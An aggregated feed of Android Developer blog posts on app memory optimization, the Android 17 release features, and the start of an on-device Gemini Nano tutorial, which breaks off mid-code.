  • Preventing cascading kills: When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.
  • Preserving multitasking and user state: When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.

To determine if your app session was impacted by these constraints in the field, you can call getDescription() within ApplicationExitInfo. If the system applied a limit, the exit reason is reported as REASON_OTHER and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.

We have also expanded our memory limits documentation to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. 

Maximize bytecode optimization with R8

A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. 

R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank Monzo enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.

The digital bank Monzo enabled full R8 optimization and boosted performance metrics by up to 35%.

To properly configure R8 in your build.gradle file:

  • Set isShrinkResources = true and isMinifyEnabled = true.
  • Use proguard-android-optimize.txt instead of the legacy proguard-android.txt, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.
  • Remove android.enableR8.fullMode = false from your gradle.properties.

If you are using reflection in your code base, then add Keep rules to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.

To get the maximum optimization, make sure to follow these best practices in your keep rule file.

  • Remove global options like -dontoptimize, -dontshrink, and -dontobfuscate that prevent R8 from optimizing the entire codebase 
  • Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.
  • Refine the broad package wide keep rules to target only specific classes or methods.

To see more best practices, view our keep rules documentation.

Library Developer R8 Best Practices

If you are a library developer, strictly place the rules your consumers need into your consumer-rules file, and keep your library's internal protection rules in your proguard-rules.pro file. For more information on how to optimize libraries, see Optimization for library authors.

R8 Configuration Analyzer

To audit your R8 optimization, use the Configuration Analyzer. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.

Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.

The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.

R8 Agent Skill 

You can also leverage the R8 Agent Skill with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. (Insights from AI-driven skills will require technical verification)

Optimize image loading

Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.

Google recommends leveraging image loading libraries Coil for Kotlin-first projects, particularly when developing with Jetpack Compose and Glide for Java-based applications.

Adopt these five best practices

  1. Downsample images: If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use inSampleSize to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using DownsampleStrategy and ImageLoader respectively.
  2. Cropping: Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize InsetDrawable or apply padding directly within the View or Composable containing the bitmap.
  3. Config: Balance memory and quality by choosing the right pixel format. Use RGB_565 when transparency isn't needed, which uses half the memory of the default ARGB_8888 format. In Glide you can configure this by using DecodeFormat and in Coil you can use bitmapConfig property.
  4. Prioritize vector drawables: For basic geometric assets, leverage ShapeDrawable as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.
  5. Reuse: If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call bitmap.recycle() and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.

Check out our documentation on Optimizing performance for images to learn more.

Android Studio tooling

You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:

  1. Open the Profiler tab in Android Studio
  2. Click Heap Dump (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.
  3. Scan the analysis results for the yellow warning triangle ⚠, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.
  4. Click on any flagged entry to open the Bitmap Preview pane, allowing you to see exactly which image is the repeat offender.
  5. Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.
Look for the yellow warning triangle ⚠ in heap dumps when using the Android Studio Profiler.

Detect and fix memory leaks with Android Studio

Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).

Android Studio Panda 3 features a dedicated LeakCanary profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.

The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.

LeakCanary memory leak analysis contextualized with Go to declaration for debugging

Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.

Examples of common memory leaks 

Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:

  • Retaining references to Fragments, Activities, or Views that are no longer in use.
  • Mismanaging Context references.
  • Failing to properly unregister observers, listeners, and receivers.
  • Creating static references to objects that are bound to components with shorter lifecycles.

Here are a few example scenarios:

Scenario

Compose-based example

View-based example

Leaking Context

Example:
Passing LocalContext.current to a ViewModel

Fix:
Keep Context dependent logic within the UI layer. For non-UI layers, refactor to use dependency injection or observe UI state using Kotlin flow.

Example:
Storing an Activity in a companion object or static variable.

Fix:
Don’t hold static references to UI components. Refactor to use dependency injection or observe UI state using Kotlin flow.

Leaking Listeners

Example:
Using DisposableEffect to start a listener but leaving onDispose empty.

Fix:
Perform the unregistration and cleanup logic inside the onDispose block.

Example:
Registering for SensorManager updates and forgetting to unregister.

Fix:
Manually call unregisterListener() in onStop() or onDestroy() lifecycle.

Leaking Views

Example:
Holding a reference to a legacy View inside an AndroidView without a release strategy.

Fix:
Use the release block of the AndroidView composable to clean up the legacy View.

Example:
Keeping a reference to a view binding object after the Fragment is destroyed.

Fix:
Set the binding variable to null inside the onDestroyView() lifecycle method.

Trim memory when app leaves visible state

Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in Overview of memory management. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.

If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the ComponentCallbacks2 interface. You can implement onTrimMemory in your Activity, Fragment, Service, or even your custom Application class. Using it in the Application class is highly effective for global cache management.

The provided onTrimMemory() callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.

In terms of memory lifecycle management, your implementation should focus exclusively on TRIM_MEMORY_UI_HIDDEN and TRIM_MEMORY_BACKGROUND. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.

TRIM_MEMORY_UI_HIDDEN: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.

TRIM_MEMORY_BACKGROUND: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.

import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level >= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level >= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}

Note: The onTrimMemory integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the game memory optimization documents.

Advanced memory observability with ProfilingManager

To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the ProfilingManager API. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.

For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to provide feedback.

Android 17 introduces new event-driven triggers, most notably TRIGGER_TYPE_OOM and TRIGGER_TYPE_ANOMALY:

  • The OOM trigger automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the registerForAllProfilingResults callback.
  • The Anomaly trigger detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.
  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer { profilingResult ->
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)

Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the Perfetto UI. To streamline your memory debugging workflow, use the Heap Dump Explorer, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.

Use the Heap Dump Explorer’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.

Conclusion

Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised memory guidance.

]]> <![CDATA[Android 17 is here]]> https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/ https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/ Sat, 25 Jul 2026 10:15:36 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Matthew McCullough, VP of Product Management, Android Developer


Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.

Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the Android Open Source Project (AOSP). This allows you to examine the source code for a deeper understanding of how Android works.

Let's dive deeper into Android 17.

An intelligence system

With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the Model Context Protocol. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.

The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.

/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}

We’ve also launched an AppFunctions agent skill that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.

The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a test agent app that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at goo.gle/eap-af for a chance to be among the first apps to deploy AppFunctions to production.

Adaptive-first

Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over 580 million large screen devices in the hands of users and the forthcoming launch of Googlebooks, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an adaptive-first development standard.

No resizability/orientation restrictions on large screens

To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on large screen devices (sw > 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on app category in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.

Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP

Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:

  • App Bubbles: Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.
  • The Bubble Bar: On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.
  • Desktop interactive PiP: In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.

App Bubbles and Bubble Bar in action

Activity recreation updates

To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including CONFIG_KEYBOARD, CONFIG_KEYBOARD_HIDDEN, CONFIG_NAVIGATION, CONFIG_TOUCHSCREEN, and CONFIG_COLOR_MODE).
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new android:recreateOnConfigChanges manifest attribute.

Continue On

Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.

Handoff Suggestion on a Tablet


class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}

Go adaptive-first with Jetpack Compose

To help you adapt your apps to meet the new Android 17 requirements, we've launched the Jetpack Compose adaptive skill. This AI-powered developer workflow helps you implement the best adaptive practices:

  • Adaptive navigation: Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.
  • Multi-pane layouts: Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.
  • FlexBox & Grid APIs: Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.
  • Advanced non-touch input: Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.
  • Dynamic window states: Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.

Android is Compose-first

Compose offers the easiest way to build adaptive apps, and that's just one of the many reasons we believe that all Android UI should be built with Compose. To that end, Android development is now Compose-first. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.

TIP
Ready to migrate? Use our AI-driven XML to Compose Migration Skill to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.

Performance & efficiency

App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.

App memory limits

Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. 

Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:

  • R8 Optimizer: The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new R8 configuration analyzer to make sure your app is getting the most from R8.




The R8 Configuration Analyzer
  • LeakCanary in Android Studio Panda: The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.
  • ApplicationExitInfo: If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".
  • On-Device Anomaly Detection: Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.
val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList<ProfilingTrigger>().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)

And, we're working to surface more in-field memory metrics to you within Google Play Console.

Generational garbage collection

Android 17 introduces more frequent, less resource-intensive young-generation collections to ART's Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.

Lock-Free MessageQueue

For apps targeting SDK 37 or higher, the core android.os.MessageQueue now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private MessageQueue fields and methods.  The peekWhen and poll APIs have been added to TestLooperManager for instrumentation testing without relying on MessageQueue internals.

Static final fields now truly final

Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s SetStatic<Type>Field methods family will immediately crash the application.

Custom notification view restrictions

To reduce memory usage we are further restricting the size of custom notification views. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.

Privacy & Security

Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.

Privacy-preserving choices

Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:

  • System-Level Contact Picker: Utilizing ACTION_PICK_CONTACTS, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad READ_CONTACTS permission. It also fully supports work/personal profile separation.
  • Customizable Photo Picker aspect ratio: UsingPhotoPickerUiCustomizationParams, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.
  • System-rendered Location Button: A new system-rendered location button that you can embed in your app grants precise location access for the current session only.
  • EyeDropper API: A new system-level API, ACTION_OPEN_EYE_DROPPER, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.
val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result ->
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}










Picking a color from anywhere on the screen with the system EyeDropper

Local network access

Apps targeting Android 17 now either require the ACCESS_LOCAL_NETWORK runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because ACCESS_LOCAL_NETWORK falls under the existing NEARBY_DEVICES permission group, users who have already granted other NEARBY_DEVICES permissions will not be prompted again.

SMS OTP protection

Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:

Post-Quantum Cryptography (PQC)

Android 17 is ready for the next generation of cryptographic security:

  • Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.
  • Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.

Safer native dynamic code loading 

If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

Smarter password protection for physical inputs

With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.

Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).

These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields.


















Smarter password protection for physical inputs

Media and camera features that empower creators and delight users

Android 17 introduces new creator features that give access to pro-quality cameras and media, all while improving the experience for consumers.

  • Eclipsa Video: HDR video standard built upon the SMPTE ST 2094-50 specification that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.
  • RAW14 image format: New support for the RAW14 image format provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.
  • Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.
  • Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.
  • Versatile Video Coding (H.266): Enables OEMs to add codec support by defining the video/vvc MIME type in MediaFormat, adding new VVC profiles in MediaCodecInfo, and integrating support into MediaExtractor.
  • Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.
  • Constant Quality for Video Recording: SetVideoEncodingQuality in MediaRecorder configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.

Better support for hearing aids

  • Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new AudioDeviceInfo.TYPE_BLE_HEARING_AID constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.
  • Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.

CameraX and Media3

CameraX and Media3 have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture, smooth media playback, and creative and complex editing experiences.

We've released an agent skill that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.

Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.

Get your apps, libraries, tools, and game engines ready!

If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.

Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps running on and targeting Android 17 to focus your testing, including the following:

Get started with Android 17

Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can use the 64-bit system images with the Android Emulator in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.

Getting the Android 17 beta on partner devices

Android 17 is available in beta on handset, tablet, and foldable form factors from partners including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.



For the best development experience with Android 17, we recommend that you use the latest Canary build of Android Studio Quail. Once you’re set up, here are some of the things you should do:

Test your current app for compatibility, learn whether your app is affected by changes in Android 17, and install your app onto a device or Android Emulator running Android 17 and extensively test it.

Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.

For complete information on Android 17 please visit the Android 17 developer site.



]]> <![CDATA[Build intelligent Android apps: On-device inference]]> https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/ https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/ Sat, 25 Jul 2026 10:15:25 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Caren Chang, Developer Relations Engineer, Android Developer Relations



Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we introduced Jetpacker, the demo app we'll use throughout this series.

In this blog post, we will share how you can use Gemini Nano through ML Kit’s Prompt API to build intelligent on-device features.

Building intelligent on-device features refers to the ability to process prompts and data directly on a device without sending data to a server. This offers a few advantages:

  • User data can be processed locally on the device, preserving user privacy
  • Functionality of the model is reliable even with spotty or no internet connection
  • No additional cloud inference cost, since everything runs on the user’s hardware

With the benefits of on-device in mind, we identified three features to add in Jetpacker that can improve the user experience: summarizing trip itineraries, managing expenses, and capturing voice notes.

On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes

High quality tailored summarization of short texts

The itinerary screen gives users a quick overview of all activities for a given trip. Since this screen contains a lot of information, it can quickly become overwhelming. To help users prepare without feeling overwhelmed, we can add a ‘Get ready for your trip’ section at the top.

The romantic Paris trip is summarized as a classic Parisian adventure blending art, sights, and delicious food. A tip and some useful phrases are also added.

By inputting a trip itinerary and asking an LLM to summarize it, we can generate a quick summary of the trip along with packing tips and useful local phrases. This is a great use case for an on-device model for several reasons:

  • Performance and quality: Both the input and output text are relatively short. With that, we can expect the performance and quality of an on-device solution to be on par with more powerful cloud models.
  • Scalability: Shifting inference on-device allows us to scale this feature from a few users to millions without worrying about managing increasing cloud inference costs.
  • Low latency and reliability: On-device inference guarantees low latency, providing a reliable experience even when users are offline.

To build with on-device, we use Gemini Nano, Google’s most efficient model optimized for mobile devices. Gemini Nano was first introduced a few years ago, and is now running on over 140 million devices. The latest version of the model, Gemini Nano 4, is built on the architecture foundation of the recently released Gemma 4 model, and is further optimized for maximum battery and performance efficiency.

Using ML Kit’s Prompt API, we can take advantage of Gemini Nano 4’s new model capabilities to prototype our on-device features. We’ll create a prompt that includes the itinerary of a trip and ask the model to generate a summary along with any preparation tips.

// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3") 

// Define the configuration for Gemini Nano 4 E2B preview model
val previewFastConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FAST
    }
}

val geminiNano2BPreviewModel = Generation.getClient(previewFastConfig)

val tripItinerary = ...

val getReadyForYourTripSummary = geminiNano2BPreviewModel
 .generateContent("Given this trip itinerary: $tripItinerary, 
     generate the following: overall vibe, tips on how to prepare for this
